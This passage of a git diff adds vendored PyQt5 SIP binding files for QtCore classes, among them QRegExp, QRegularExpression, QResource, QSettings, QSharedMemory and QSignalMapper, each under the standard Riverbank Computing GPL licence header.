index 00000000..5ce1a953 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qregexp.sip @@ -0,0 +1,137 @@ +// qregexp.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QRegExp +{ +%TypeHeaderCode +#include +%End + +public: + enum PatternSyntax + { + RegExp, + RegExp2, + Wildcard, + FixedString, + WildcardUnix, + W3CXmlSchema11, + }; + + enum CaretMode + { + CaretAtZero, + CaretAtOffset, + CaretWontMatch, + }; + + QRegExp(); + QRegExp(const QString &pattern, Qt::CaseSensitivity cs = Qt::CaseSensitive, QRegExp::PatternSyntax syntax = QRegExp::RegExp); + QRegExp(const QRegExp &rx); + ~QRegExp(); + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + PyObject *uni = qpycore_PyObject_FromQString(sipCpp->pattern()); + + if (uni) + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromFormat("PyQt5.QtCore.QRegExp(%R", uni); + + if (sipCpp->caseSensitivity() != Qt::CaseSensitive || + sipCpp->patternSyntax() != QRegExp::RegExp) + { + qpycore_Unicode_ConcatAndDel(&sipRes, + PyUnicode_FromFormat(", PyQt5.QtCore.Qt.CaseSensitivity(%i)", + (int)sipCpp->caseSensitivity())); + + if (sipCpp->patternSyntax() != QRegExp::RegExp) + qpycore_Unicode_ConcatAndDel(&sipRes, + PyUnicode_FromFormat( + ", PyQt5.QtCore.QRegExp.PatternSyntax(%i)", + (int)sipCpp->patternSyntax())); + } + + qpycore_Unicode_ConcatAndDel(&sipRes, PyUnicode_FromString(")")); + #else + sipRes = PyString_FromString("PyQt5.QtCore.QRegExp("); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(uni)); + + if (sipCpp->caseSensitivity() != Qt::CaseSensitive || + sipCpp->patternSyntax() != QRegExp::RegExp) + { + PyString_ConcatAndDel(&sipRes, + PyString_FromFormat(", PyQt5.QtCore.Qt.CaseSensitivity(%i)", + (int)sipCpp->caseSensitivity())); + + if (sipCpp->patternSyntax() != QRegExp::RegExp) + PyString_ConcatAndDel(&sipRes, + PyString_FromFormat( + ", PyQt5.QtCore.QRegExp.PatternSyntax(%i)", + (int)sipCpp->patternSyntax())); + } + + PyString_ConcatAndDel(&sipRes, PyString_FromString(")")); + #endif + + Py_DECREF(uni); + } + else + { + sipRes = 0; + } +%End + + bool operator==(const QRegExp &rx) const; + bool operator!=(const QRegExp &rx) const; + bool isEmpty() const; + bool isValid() const; + QString pattern() const; + void setPattern(const QString &pattern); + Qt::CaseSensitivity caseSensitivity() const; + void setCaseSensitivity(Qt::CaseSensitivity cs); + QRegExp::PatternSyntax patternSyntax() const; + void setPatternSyntax(QRegExp::PatternSyntax syntax); + bool isMinimal() const; + void setMinimal(bool minimal); + bool exactMatch(const QString &str) const; + int indexIn(const QString &str, int offset = 0, QRegExp::CaretMode caretMode = QRegExp::CaretAtZero) const; + int lastIndexIn(const QString &str, int offset = -1, QRegExp::CaretMode caretMode = QRegExp::CaretAtZero) const; + int matchedLength() const; + QStringList capturedTexts(); + QString cap(int nth = 0); + int pos(int nth = 0); + QString errorString(); + static QString escape(const QString &str); + int captureCount() const; + void swap(QRegExp &other /Constrained/); +%If (Qt_5_6_0 -) + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End + +%End +}; + +QDataStream &operator<<(QDataStream &out, const QRegExp ®Exp /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &in, QRegExp ®Exp /Constrained/) /ReleaseGIL/; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qregularexpression.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qregularexpression.sip new file mode 100644 index 00000000..b2830018 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qregularexpression.sip @@ -0,0 +1,206 @@ +// qregularexpression.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QRegularExpression +{ +%TypeHeaderCode +#include +%End + +public: + enum PatternOption + { + NoPatternOption, + CaseInsensitiveOption, + DotMatchesEverythingOption, + MultilineOption, + ExtendedPatternSyntaxOption, + InvertedGreedinessOption, + DontCaptureOption, + UseUnicodePropertiesOption, +%If (Qt_5_4_0 -) + OptimizeOnFirstUsageOption, +%End +%If (Qt_5_4_0 -) + DontAutomaticallyOptimizeOption, +%End + }; + + typedef QFlags PatternOptions; + QRegularExpression::PatternOptions patternOptions() const; + void setPatternOptions(QRegularExpression::PatternOptions options); + QRegularExpression(); + QRegularExpression(const QString &pattern, QRegularExpression::PatternOptions options = QRegularExpression::NoPatternOption); + QRegularExpression(const QRegularExpression &re); + ~QRegularExpression(); + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + PyObject *uni = qpycore_PyObject_FromQString(sipCpp->pattern()); + + if (uni) + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromFormat("PyQt5.QtCore.QRegularExpression(%R", uni); + + if (sipCpp->patternOptions() != QRegularExpression::NoPatternOption) + { + qpycore_Unicode_ConcatAndDel(&sipRes, + PyUnicode_FromFormat( + ", PyQt5.QtCore.QRegularExpression.PatternOptions(%i)", + (int)sipCpp->patternOptions())); + } + + qpycore_Unicode_ConcatAndDel(&sipRes, PyUnicode_FromString(")")); + #else + sipRes = PyString_FromString("PyQt5.QtCore.QRegularExpression("); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(uni)); + + if (sipCpp->patternOptions() != QRegularExpression::NoPatternOption) + { + PyString_ConcatAndDel(&sipRes, + PyString_FromFormat( + ", PyQt5.QtCore.QRegularExpression.PatternOptions(%i)", + (int)sipCpp->patternOptions())); + } + + PyString_ConcatAndDel(&sipRes, PyString_FromString(")")); + #endif + + Py_DECREF(uni); + } + else + { + sipRes = 0; + } +%End + + void swap(QRegularExpression &re /Constrained/); + QString pattern() const; + void setPattern(const QString &pattern); + bool isValid() const; + int patternErrorOffset() const; + QString errorString() const; + int captureCount() const; + + enum MatchType + { + NormalMatch, + PartialPreferCompleteMatch, + PartialPreferFirstMatch, +%If (Qt_5_1_0 -) + NoMatch, +%End + }; + + enum MatchOption + { + NoMatchOption, + AnchoredMatchOption, +%If (Qt_5_4_0 -) + DontCheckSubjectStringMatchOption, +%End + }; + + typedef QFlags MatchOptions; + QRegularExpressionMatch match(const QString &subject, int offset = 0, QRegularExpression::MatchType matchType = QRegularExpression::NormalMatch, QRegularExpression::MatchOptions matchOptions = QRegularExpression::NoMatchOption) const; + QRegularExpressionMatchIterator globalMatch(const QString &subject, int offset = 0, QRegularExpression::MatchType matchType = QRegularExpression::NormalMatch, QRegularExpression::MatchOptions matchOptions = QRegularExpression::NoMatchOption) const; + static QString escape(const QString &str); +%If (Qt_5_1_0 -) + QStringList namedCaptureGroups() const; +%End + bool operator==(const QRegularExpression &re) const; + bool operator!=(const QRegularExpression &re) const; +%If (Qt_5_4_0 -) + void optimize() const; +%End +%If (Qt_5_6_0 -) + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End + +%End +%If (Qt_5_12_0 -) + static QString wildcardToRegularExpression(const QString &str); +%End +%If (Qt_5_12_0 -) + static QString anchoredPattern(const QString &expression); +%End +}; + +QFlags operator|(QRegularExpression::PatternOption f1, QFlags f2); +QFlags operator|(QRegularExpression::MatchOption f1, QFlags f2); +QDataStream &operator<<(QDataStream &out, const QRegularExpression &re /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &in, QRegularExpression &re /Constrained/) /ReleaseGIL/; + +class QRegularExpressionMatch +{ +%TypeHeaderCode +#include +%End + +public: +%If (Qt_5_1_0 -) + QRegularExpressionMatch(); +%End + ~QRegularExpressionMatch(); + QRegularExpressionMatch(const QRegularExpressionMatch &match); + void swap(QRegularExpressionMatch &match /Constrained/); + QRegularExpression regularExpression() const; + QRegularExpression::MatchType matchType() const; + QRegularExpression::MatchOptions matchOptions() const; + bool hasMatch() const; + bool hasPartialMatch() const; + bool isValid() const; + int lastCapturedIndex() const; + QString captured(int nth = 0) const; + QString captured(const QString &name) const; + QStringList capturedTexts() const; + int capturedStart(int nth = 0) const; + int capturedLength(int nth = 0) const; + int capturedEnd(int nth = 0) const; + int capturedStart(const QString &name) const; + int capturedLength(const QString &name) const; + int capturedEnd(const QString &name) const; +}; + +class QRegularExpressionMatchIterator +{ +%TypeHeaderCode +#include +%End + +public: +%If (Qt_5_1_0 -) + QRegularExpressionMatchIterator(); +%End + ~QRegularExpressionMatchIterator(); + QRegularExpressionMatchIterator(const QRegularExpressionMatchIterator &iterator); + void swap(QRegularExpressionMatchIterator &iterator /Constrained/); + bool isValid() const; + bool hasNext() const; + QRegularExpressionMatch next(); + QRegularExpressionMatch peekNext() const; + QRegularExpression regularExpression() const; + QRegularExpression::MatchType matchType() const; + QRegularExpression::MatchOptions matchOptions() const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qresource.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qresource.sip new file mode 100644 index 00000000..0f0af4af --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qresource.sip @@ -0,0 +1,92 @@ +// qresource.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QResource +{ +%TypeHeaderCode +#include +%End + +public: + QResource(const QString &fileName = QString(), const QLocale &locale = QLocale()); + ~QResource(); + QString absoluteFilePath() const; + SIP_PYOBJECT data() const /TypeHint="Py_v3:bytes;str"/; +%MethodCode + // The data may contain embedded '\0's so set the size explicitly. + + if (sipCpp->data()) + { + if ((sipRes = SIPBytes_FromStringAndSize((char *)sipCpp->data(), sipCpp->size())) == NULL) + sipIsErr = 1; + } + else + { + Py_INCREF(Py_None); + sipRes = Py_None; + } +%End + + QString fileName() const; + bool isCompressed() const; + bool isValid() const; + QLocale locale() const; + void setFileName(const QString &file); + void setLocale(const QLocale &locale); + qint64 size() const; + static bool registerResource(const QString &rccFileName, const QString &mapRoot = QString()); + static bool registerResource(const uchar *rccData, const QString &mapRoot = QString()) /PyName=registerResourceData/; + static bool unregisterResource(const QString &rccFileName, const QString &mapRoot = QString()); + static bool unregisterResource(const uchar *rccData, const QString &mapRoot = QString()) /PyName=unregisterResourceData/; + +protected: + QStringList children() const; + bool isDir() const; + bool isFile() const; + +public: +%If (Qt_5_8_0 -) + QDateTime lastModified() const; +%End +%If (Qt_5_13_0 -) + + enum Compression + { + NoCompression, + ZlibCompression, + ZstdCompression, + }; + +%End +%If (Qt_5_13_0 -) + QResource::Compression compressionAlgorithm() const; +%End +%If (Qt_5_15_0 -) + qint64 uncompressedSize() const; +%End +%If (Qt_5_15_0 -) + QByteArray uncompressedData() const; +%End + +private: + QResource(const QResource &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qrunnable.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qrunnable.sip new file mode 100644 index 00000000..3774abc1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qrunnable.sip @@ -0,0 +1,55 @@ +// qrunnable.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QRunnable /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: + QRunnable(); + virtual ~QRunnable(); + virtual void run() = 0 /NewThread/; + bool autoDelete() const; + void setAutoDelete(bool _autoDelete); +%If (Qt_5_15_0 -) + static QRunnable *create(SIP_PYCALLABLE functionToRun /KeepReference,TypeHint="Callable[[], None]"/) /Factory/; +%MethodCode + sipRes = QRunnable::create([a0]() { + SIP_BLOCK_THREADS + + PyObject *res; + + res = PyObject_CallObject(a0, NULL); + + if (res) + Py_DECREF(res); + else + pyqt5_err_print(); + + SIP_UNBLOCK_THREADS + }); +%End + +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsavefile.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsavefile.sip new file mode 100644 index 00000000..38106dd2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsavefile.sip @@ -0,0 +1,51 @@ +// qsavefile.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) + +class QSaveFile : QFileDevice +{ +%TypeHeaderCode +#include +%End + +public: + explicit QSaveFile(const QString &name); + explicit QSaveFile(QObject *parent /TransferThis/ = 0); + QSaveFile(const QString &name, QObject *parent /TransferThis/); + virtual ~QSaveFile(); + virtual QString fileName() const; + void setFileName(const QString &name); + virtual bool open(QIODevice::OpenMode flags) /ReleaseGIL/; + bool commit(); + void cancelWriting(); + void setDirectWriteFallback(bool enabled); + bool directWriteFallback() const; + +protected: + virtual qint64 writeData(const char *data /Array/, qint64 len /ArraySize/) /ReleaseGIL/; + +private: + virtual void close(); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsemaphore.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsemaphore.sip new file mode 100644 index 00000000..18e77aff --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsemaphore.sip @@ -0,0 +1,59 @@ +// qsemaphore.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSemaphore +{ +%TypeHeaderCode +#include +%End + +public: + explicit QSemaphore(int n = 0); + ~QSemaphore(); + void acquire(int n = 1) /ReleaseGIL/; + bool tryAcquire(int n = 1); + bool tryAcquire(int n, int timeout) /ReleaseGIL/; + void release(int n = 1); + int available() const; + +private: + QSemaphore(const QSemaphore &); +}; + +%If (Qt_5_10_0 -) + +class QSemaphoreReleaser /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + QSemaphoreReleaser(); + QSemaphoreReleaser(QSemaphore *sem, int n = 1); + ~QSemaphoreReleaser(); + void swap(QSemaphoreReleaser &other); + QSemaphore *semaphore() const; + QSemaphore *cancel(); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsequentialanimationgroup.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsequentialanimationgroup.sip new file mode 100644 index 00000000..7156e8c5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsequentialanimationgroup.sip @@ -0,0 +1,45 @@ +// qsequentialanimationgroup.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSequentialAnimationGroup : QAnimationGroup +{ +%TypeHeaderCode +#include +%End + +public: + QSequentialAnimationGroup(QObject *parent /TransferThis/ = 0); + virtual ~QSequentialAnimationGroup(); + QPauseAnimation *addPause(int msecs); + QPauseAnimation *insertPause(int index, int msecs); + QAbstractAnimation *currentAnimation() const; + virtual int duration() const; + +signals: + void currentAnimationChanged(QAbstractAnimation *current); + +protected: + virtual bool event(QEvent *event); + virtual void updateCurrentTime(int); + virtual void updateState(QAbstractAnimation::State newState, QAbstractAnimation::State oldState); + virtual void updateDirection(QAbstractAnimation::Direction direction); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsettings.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsettings.sip new file mode 100644 index 00000000..a694e56b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsettings.sip @@ -0,0 +1,113 @@ +// qsettings.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSettings : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum Status + { + NoError, + AccessError, + FormatError, + }; + + enum Format + { + NativeFormat, + IniFormat, + InvalidFormat, + }; + + enum Scope + { + UserScope, + SystemScope, + }; + + QSettings(const QString &organization, const QString &application = QString(), QObject *parent /TransferThis/ = 0) /ReleaseGIL/; + QSettings(QSettings::Scope scope, const QString &organization, const QString &application = QString(), QObject *parent /TransferThis/ = 0) /ReleaseGIL/; + QSettings(QSettings::Format format, QSettings::Scope scope, const QString &organization, const QString &application = QString(), QObject *parent /TransferThis/ = 0) /ReleaseGIL/; + QSettings(const QString &fileName, QSettings::Format format, QObject *parent /TransferThis/ = 0) /ReleaseGIL/; +%If (Qt_5_13_0 -) + QSettings(QSettings::Scope scope, QObject *parent /TransferThis/ = 0) /ReleaseGIL/; +%End + explicit QSettings(QObject *parent /TransferThis/ = 0) /ReleaseGIL/; + virtual ~QSettings() /ReleaseGIL/; + void clear() /ReleaseGIL/; + void sync() /ReleaseGIL/; + QSettings::Status status() const; + void beginGroup(const QString &prefix); + void endGroup(); + QString group() const; + int beginReadArray(const QString &prefix); + void beginWriteArray(const QString &prefix, int size = -1); + void endArray(); + void setArrayIndex(int i); + QStringList allKeys() const /ReleaseGIL/; + QStringList childKeys() const /ReleaseGIL/; + QStringList childGroups() const /ReleaseGIL/; + bool isWritable() const; + void setValue(const QString &key, const QVariant &value) /ReleaseGIL/; + SIP_PYOBJECT value(const QString &key, const QVariant &defaultValue = QVariant(), SIP_PYOBJECT type /TypeHint="type", TypeHintValue="None"/ = 0) const /ReleaseGIL/; +%MethodCode + QVariant value; + + // QSettings has an internal mutex so release the GIL to avoid the possibility + // of deadlocks. + Py_BEGIN_ALLOW_THREADS + value = sipCpp->value(*a0, *a1); + Py_END_ALLOW_THREADS + + sipRes = pyqt5_from_qvariant_by_type(value, a2); + + sipIsErr = !sipRes; +%End + + void remove(const QString &key) /ReleaseGIL/; + bool contains(const QString &key) const /ReleaseGIL/; + void setFallbacksEnabled(bool b); + bool fallbacksEnabled() const; + QString fileName() const; + static void setPath(QSettings::Format format, QSettings::Scope scope, const QString &path) /ReleaseGIL/; + QSettings::Format format() const; + QSettings::Scope scope() const; + QString organizationName() const; + QString applicationName() const; + static void setDefaultFormat(QSettings::Format format); + static QSettings::Format defaultFormat(); + void setIniCodec(QTextCodec *codec /KeepReference/); + void setIniCodec(const char *codecName); + QTextCodec *iniCodec() const; +%If (Qt_5_10_0 -) + bool isAtomicSyncRequired() const; +%End +%If (Qt_5_10_0 -) + void setAtomicSyncRequired(bool enable); +%End + +protected: + virtual bool event(QEvent *event); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsharedmemory.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsharedmemory.sip new file mode 100644 index 00000000..588b1560 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsharedmemory.sip @@ -0,0 +1,75 @@ +// qsharedmemory.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSharedMemory : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum AccessMode + { + ReadOnly, + ReadWrite, + }; + + enum SharedMemoryError + { + NoError, + PermissionDenied, + InvalidSize, + KeyError, + AlreadyExists, + NotFound, + LockError, + OutOfResources, + UnknownError, + }; + + QSharedMemory(QObject *parent /TransferThis/ = 0); + QSharedMemory(const QString &key, QObject *parent /TransferThis/ = 0); + virtual ~QSharedMemory(); + void setKey(const QString &key); + QString key() const; + bool create(int size, QSharedMemory::AccessMode mode = QSharedMemory::ReadWrite); + int size() const; + bool attach(QSharedMemory::AccessMode mode = QSharedMemory::ReadWrite); + bool isAttached() const; + bool detach(); + SIP_PYOBJECT data() /TypeHint="PyQt5.sip.voidptr"/; +%MethodCode + sipRes = sipConvertFromVoidPtrAndSize(sipCpp->data(), sipCpp->size()); +%End + + SIP_PYOBJECT constData() const /TypeHint="PyQt5.sip.voidptr"/; +%MethodCode + sipRes = sipConvertFromConstVoidPtrAndSize(sipCpp->constData(), sipCpp->size()); +%End + + bool lock(); + bool unlock(); + QSharedMemory::SharedMemoryError error() const; + QString errorString() const; + void setNativeKey(const QString &key); + QString nativeKey() const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsignalmapper.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsignalmapper.sip new file mode 100644 index 00000000..9dd70049 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsignalmapper.sip @@ -0,0 +1,72 @@ +// qsignalmapper.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QWidget /External/; + +class QSignalMapper : QObject +{ +%TypeHintCode +from PyQt5.QtWidgets import QWidget +%End + +%TypeHeaderCode +#include +%End + +public: + explicit QSignalMapper(QObject *parent /TransferThis/ = 0); + virtual ~QSignalMapper(); + void setMapping(QObject *sender, int id); + void setMapping(QObject *sender, const QString &text); + void setMapping(QObject *sender, QWidget *widget); + void setMapping(QObject *sender, QObject *object); + void removeMappings(QObject *sender); + QObject *mapping(int id) const; + QObject *mapping(const QString &text) const; + QObject *mapping(QWidget *widget) const; + QObject *mapping(QObject *object) const; + +signals: + void mapped(int); + void mapped(const QString &); + void mapped(QWidget *); + void mapped(QObject *); +%If (Qt_5_15_0 -) + void mappedInt(int); +%End +%If (Qt_5_15_0 -) + void mappedString(const QString &); +%End +%If (Qt_5_15_0 -) + void mappedWidget(QWidget *); +%End +%If (Qt_5_15_0 -) + void mappedObject(QObject *); +%End + +public slots: + void map(); + void map(QObject *sender); + +private: + QSignalMapper(const QSignalMapper &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsignaltransition.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsignaltransition.sip new file mode 100644 index 00000000..37de8f2e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsignaltransition.sip @@ -0,0 +1,66 @@ +// qsignaltransition.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSignalTransition : QAbstractTransition +{ +%TypeHeaderCode +#include +%End + +public: + QSignalTransition(QState *sourceState /TransferThis/ = 0); + QSignalTransition(SIP_PYOBJECT signal /TypeHint="pyqtBoundSignal"/, QState *sourceState /TransferThis/ = 0) /NoDerived/; +%MethodCode + QObject *sender; + QByteArray signal_signature; + + if ((sipError = pyqt5_get_pyqtsignal_parts(a0, &sender, signal_signature)) == sipErrorNone) + { + sipCpp = new sipQSignalTransition(a1); + sipCpp->setSenderObject(sender); + sipCpp->setSignal(signal_signature); + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(0, a0); + } +%End + + virtual ~QSignalTransition(); + QObject *senderObject() const; + void setSenderObject(const QObject *sender); + QByteArray signal() const; + void setSignal(const QByteArray &signal); + +protected: + virtual bool eventTest(QEvent *event); + virtual void onTransition(QEvent *event); + virtual bool event(QEvent *e); + +signals: +%If (Qt_5_4_0 -) + void senderObjectChanged(); +%End +%If (Qt_5_4_0 -) + void signalChanged(); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsize.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qsize.sip new file mode 100644 index 